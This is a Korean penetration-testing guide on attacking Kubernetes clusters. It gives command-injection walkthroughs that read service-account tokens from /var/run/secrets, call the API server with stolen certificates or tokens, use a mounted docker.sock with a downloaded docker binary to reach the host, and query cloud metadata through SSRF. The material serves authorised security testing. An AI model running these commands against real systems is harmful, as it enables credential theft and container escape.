Kubernetes for RedTeam
Kubernetes에 대한 경험과 이해가 다르고, 보안 취약점 점검 시 관련 내용에 대한 접근이 어려운 이유로, kubernetes 취약점 발견과 연구를 충분히 수행하기에 어려움이 있음
이를 위해, 다음 과정을 통해 kubernetes에 대한 정리와 점검 방법에 대한 평준화를 이루고자 함
Prerequisite Knowledge
1.Abstract Concept
일반적으로 Kubernets 환경에 구축된 서비스는 위 그림과 같이 Apiserver와 Service 두 개의 접근 경로를 가짐.
- Apiserver는 kubernetes 환경 전체를 제어
- Service(kuberntes resource)는 웹서비스를 인터넷과 연결해주는 역할 및 파드간 통신에 사용
우리의 목표는 이 두 가지 경로를 통해 취약점을 찾고, 안전한 서비스를 만드는 것.
2.ApiServer
Apiserver는 kubernetes 자체라고 봐도 무방함. api를 호출하는 방식으로 권한에 따라 kubernetes 전체 환경을 제어할 수 있음. 성공적인 api 호출은 인증 > 권한 > Admission Control 3단계를 모두 통과해야 함.
- Admission Control : 리소스 사용 제한 등
RBAC이라고 하는 인증 (사용자, 서비스)에 권한(역할)이 부여되는 구조로, 인증 정보를 얻으면 인증에 해당하는 권한을 행사할 수 있음. 권한 및 Admission Control 관리를 위한 별도의 권한(관리자) 및 과정 필요.
따라서 우리가 접근하여 활용할 수 있는 부분은 인증에 한정됨.
Kubernetes의 인증은 다른 시스템과 마찬가지로 사용자 인증과 서비스 인증으로 나뉨. 이 두 가지 중 한 가지로 Apiserver를 호출 할 수 있음.
- 사용자 인증 정보는 운영 환경이나 서비스 환경에 인증서 형태로 존재.
- 서비스 인증 정보는 애플리케이션(컨테이너) 내 토큰 형태로 존재.
둘 중 하나의 정보를 얻기 위해 노력해야 함.
3.Pod Design Pattern
Pod는 Kubernetes에 의해 관리되는 애플리케이션의 최소 단위이며, 여러 컨테이너들의 집합.
다음과 같은 패턴을 가짐. 굳이 패턴 이야기를 하는 이유는 우리가 Command Injection이나 SSRF등의 애플리케이션 취약점을 이용해 접근할 수 있는 자원에 대한 이해를 높이기 위함임.
- Sidecar : Metric, Log 등을 위한 용도로 많이 쓰임. Istio가 대표적. 파일 시스템을 공유하고 있는 부분이 공략 포인트.
- Adapter : 애플리케이션의 출력 포멧을 통일 시키는 용도로 쓰임. 몰라도 됨.
- Ambassador : localhost를 목적지로 통신하는 애플리케이션을 쉽게 배포할 때 쓰임. 예를 들어, 애플리케이션이 localhost:3306(MySQL)과 통신한다면, Ambassador 컨테이너는 이 요청을 받아 필요한 목적지로 연결해줌. SSRF 시 고려해볼 수 있음.
4.Container
Pod 안에 정의되며, 다음과 같은 다양한 자원들을 정의하여 사용 가능.
- ServiceAccount : Pod가 ApiServer와 상호 작용할 수 있도록 권한을 부여해 놓은 자격 증명
- Docker.sock : Host 서버의 Docker 데몬과 상호작용을 할 수 있게 해주는 Unix 소켓
- Secret : 암호, 토큰 또는 키와 같은 소량의 중요한 데이터를 포함하는 오브젝트
- ConfigMap : Key - Value 값 쌍으로 기밀이 아닌 데이터를 저장하는 데 사용하는 API 오브젝트
- Volume : 영구적으로 사용 가능한 Pod 외 지정된 별도 저장소
취약점 점검을 하다보면 애플리케이션 서버의 쉘을 획득할 수 있는 때가 있는데, 이 때, 이 정보들을 확인할 필요가 있고, 이 정보를 통해 추가 보안 취약점을 찾을 수 있음.
Call ApiServer
Apiserver에 접근할 수 있는 경로는 두 가지임. 인터넷 또는 Data Plane. 호출 가능한 곳에서 호출하면 되고, 아래 설명은 한 가지씩 나누어 호출해보는 것으로 설명.
1.with User Certificate (from Internet)
취약점 등을 통해 사용자 인증서와 키를 얻었다면 apiserver를 호출 할 수 있음
1
2
3
4
5
6
7
8
9
10
11
12
13
ubuntu@mypc:~$ curl -k --cert ./user.crt --key ./user.key https://kubernetes:6443/api
{
"kind": "APIVersions",
"versions": [
"v1"
],
"serverAddressByClientCIDRs": [
{
"clientCIDR": "0.0.0.0/0",
"serverAddress": "x.x.x.x:6443"
}
]
}
사용자 인증서와 키는 base64로 인코딩되어 있을 수도 있음
1
2
3
4
5
6
ubuntu@mypc:~$ cat ./user.crt | base64 | tr -d "\n"
LS0tLS1C...
ubuntu@mypc:~$ cat "LS0tLS1C..." | base64 -d
-----BEGIN CERTIFICATE-----
MIIDTzCCAjegAwIBAgIQYPmmYnZ...
-----END CERTIFICATE-----
2.with ServiceAccount Token (in Containers)
Command Injection 등을 통해 컨테이너 내부에 명령 실행을 할 수 있다면,
2.1.get Kubernetes Information from env
1
2
3
4
5
6
7
8
9
Command Injection : env | grep -i kubernetes
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
KUBERNETES_PORT_443_TCP_PROTO=tcp
2.2.get Kubernetes Information from nslookup
1
2
3
4
5
6
Command Injection : nslookup kubernetes.default.svc
Server: 10.96.0.10
Address: 10.96.0.10#53
Name: kubernetes.default.svc.cluster.local
Address: 10.96.0.1
2.3.get Kubernetes Information from ServiceAccount
1
2
3
4
5
6
7
Command Injection : cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUz ...
Command Injection : cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
hack8s
Command Injection : cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
-----BEGIN CERTIFICATE-----
MIIDB ...
안되는 명령들이 있을 수 있지만, token만 확인이 된다면, 아래 명령을 통해 apiserver를 호출해 볼 수 있음.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Command Injection : cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI...
Command Injection : curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt --header "Authorization: Bearer eyJhbGciOiJSUzI..." -X GET https://kubernetes:6443/api/v1/namespaces/hack8s/pods
{
"kind": "PodList",
"apiVersion": "v1",
"metadata": {
"resourceVersion": "266526"
},
"items": [
{
"metadata": {
"name": "busybox",
...
}
}
]
}
Docker in Docker
docker.sock은 Kubernetes 환경 또는 Docker 환경에서 동작하는 컨테이너 내부에서 Docker 데몬과 상호작용을 할 수 있게 해주는 Unix 소켓.
컨테이너 내 docker.sock 파일을 통해 호스트 서버의 Docker 데몬과 상호작용 가능.
Command Injection 등을 통해 컨테이너 내부에 명령 실행을 할 수 있다면, docker.sock 파일을 통해 호스트 시스템으로 넘어갈 수 있음.
1.Find docker.sock in container
docker.sock 파일은 기본적으로 마운트되어 사용되기 때문에 mount 명령으로 확인 가능.
1
2
3
4
Command Injection : mount
...
tmpfs on /run/docker.sock type tmpfs (rw,nosuid,nodev,size=788004k,nr_inodes=819200,mode=755,inode64)
...
2.Download Docker binary
docker.sock 파일을 이용한 통신을 위해 docker 실행파일을 컨테이너 내부에 다운로드. 보통 우리가 Command Injection 취약점을 이용할 수 있는 곳은 FrontEnd 이기 때문에 인터넷이 될 가능성이 높음.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Command Injection : wget https://download.docker.com/linux/static/stable/x86_64/docker-25.0.3.tgz -O /tmp/docker-25.0.3.tgz
Connecting to download.docker.com (54.230.61.68:443)
saving to '/tmp/docker-25.0.3.tgz'
docker-25.0.3.tgz 100% |**********************************************************************************************************************************| 68.2M 0:00:00 ETA
'/tmp/docker-25.0.3.tgz' saved
Command Injection : tar -xvzf /tmp/docker-25.0.3.tgz -C /tmp/
docker/
docker/containerd-shim-runc-v2
docker/docker
docker/docker-init
docker/runc
docker/docker-proxy
docker/containerd
docker/ctr
docker/dockerd
3.Access to Host System through Docker
1
2
3
Command Injection : /tmp/docker/docker -H unix:///run/docker.sock images
REPOSITORY TAG IMAGE ID CREATED SIZE
wrkholic84/hack8s 0.0.5 fdcb97827bef 11 hours ago 188MB
SSRF
서버 측에서 위조된 HTTP 요청을 발생시켜 직접적인 접근이 제한된 서버 내부 자원에 접근하여 외부로 데이터 유출 및 오동작을 유발하는 공격.
아주 잘 알고 있으니 더 설명할 필요는 없음.
1.Metadata
IP 169.254.169.254는 클라우드 환경에서 메타데이터를 제공하는 특별한 IP 주소.
AWS, Google Cloud Platform, Azure와 같은 대부분의 CSP에서 이 주소를 사용하여 인스턴스의 메타데이터에 접근할 수 있게 함.
1.1.AWS IMDS
인스턴스 메타데이터 서비스(IMDS)는 인스턴스의 코드가 인스턴스 메타데이터에 안전하게 액세스 하기 위해 사용하는 온 인스턴스 구성 요소.
IMDS에는 버전 1, 2로 나뉘는데 IMDSv1의 경우 요청/응답 형식이었다면 IMDSv2는 세션 지향 요청을 사용하여 기존의 v1의 취약성을 개선.
1.1.1.IMDSv1
1
2
3
4
5
url : http://169.254.169.254/latest/meta-data
ami-id
ami-launch-index
ami-manifest-path
...
1.1.2.IMDSv2
1
2
3
4
5
6
Command Injection : TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` \
&& curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/
ami-id
ami-launch-index
ami-manifest-path
...
2.ArgoCD
애플리케이션의 보안 취약점을 찾을 때, 다양한 정보를 참조함. 네트워크 트래픽부터 소스코드까지.
어쩌면 당연한 것인데, 이 과정을 Kubernetes 분석에도 적용해보고자 함.
Kubernetes 환경에서 서비스되는 애플리케이션의 보안 취약점 중 SSRF와 관련된 취약점의 가능성이 있을 때, CD(Continuous Deployment) Tool을 사용해 Kubernetes 구성의 정보를 얻을 수 있다면 도움이 될 수 있음.
Kubernetes 서비스를 위한 HelmChart가 있다면, 다음 시도를 해보자.
애플리케이션 취약점 분석을 위해 개발자 도구를 활용하듯, Kubernetes 취약점 분석을 위해 CD(Continuous Delivery) 툴을 활용해보자.
2.1.HelmChart
쿠버네티스 리소스와 관련된 셋을 설명하는 파일의 모음.
2.2.ArgoCD
ArgoCD를 이용하면 서비스간 통신을 쉽게 파악할 수 있어, SSRF 공격이 이루어질 수 있는 부분을 확인할 수 있음.
다만, 완전한 블랙박스 모의해킹이라고 보기 어려울 수 있음.